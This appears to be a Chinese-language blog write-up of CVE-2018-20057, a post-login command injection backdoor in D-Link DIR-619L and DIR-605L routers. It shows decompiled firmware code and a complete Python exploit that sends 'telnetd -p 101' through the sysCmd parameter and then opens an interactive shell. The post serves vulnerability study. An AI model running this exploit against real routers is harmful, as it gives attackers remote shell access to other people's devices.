路由器漏洞分析(3):CVE-2018-20057 DIR-619L&605L命令注入漏洞分析及复现

漏洞原理

D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备,在/bin/boa文件的formSysCmd函数存在后门,导致攻击者在身份认证后可以通过访问http://[ip]//goform/formSysCmd并指定sysCmd参数,从而实现远程命令注入。

固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/

本漏洞的路由器运行环境与CVE-2018-20056相同。

漏洞分析

查看ghidra中的反编译代码,在formSysCmd中,首先获取sysCmd参数,然后通过snprintf写入栈中变量,直接调用system函数执行该参数内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void formSysCmd(undefined4 uParm1)
{
undefined4 uVar1;
char *pcVar2;
char acStack120 [104];

uVar1 = websGetVar(uParm1,"submit-url",&DAT_004ac874);
//获取post参数sysCmd,该参数可由用户控制
pcVar2 = (char *)websGetVar(uParm1,"sysCmd",&DAT_004ac874);
if (*pcVar2 != 0) {
//将sysCmd写入栈中,并调用system执行
snprintf(acStack120,100,"%s 2>&1 > %s",pcVar2,"/tmp/syscmd.log");
system(acStack120);
}
websRedirect(uParm1,uVar1);
return;
}

漏洞利用

该漏洞是在身份认证成功之后才可实现命令注入,需要先登录输入用户名和口令。由于是在qemu中模拟固件,通过apmib_get读取路由器本地配置无法实现,所以在劫持了apmib_get函数之后,login输入的用户名和密码暂时填为空。在真机上操作时,换成真实的用户名和密码即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import sys
import struct
import base64
from pwn import *
context(arch='mips',endian='big',log_level='debug')

ip='192.168.84.129'
port=101
def login(user,password):
postData = {
'login_name':'',
'curTime':'1234',
'FILECODE':'',
'VER_CODE':'',
'VERIFICATION_CODE':'',
'login_n':user,
'login_pass':base64.b64encode(password),
}
response = requests.post('http://'+ip+'/goform/formLogin',data=postData)
#print response.url
def syscmd(cmd):
postData = {
'sysCmd':cmd,
'submit-url':'1234',
}
response = requests.post('http://'+ip+'/goform/formSysCmd',data=postData)
#print response.url
def inter():
p=remote(ip,port)
p.interactive()
if __name__ == "__main__":
login('','')#这里要写实际的用户名和密码,例如admin 12345
syscmd('telnetd -p '+str(port))
inter()

另由于qemu模拟时,/dev下没有pty设备,导致telnet连接不能实现,但是端口是已经打开了:

参考链接

https://github.com/WhooAmii/whooamii.github.io/blob/master/2018/DIR-619%20command%20execution.md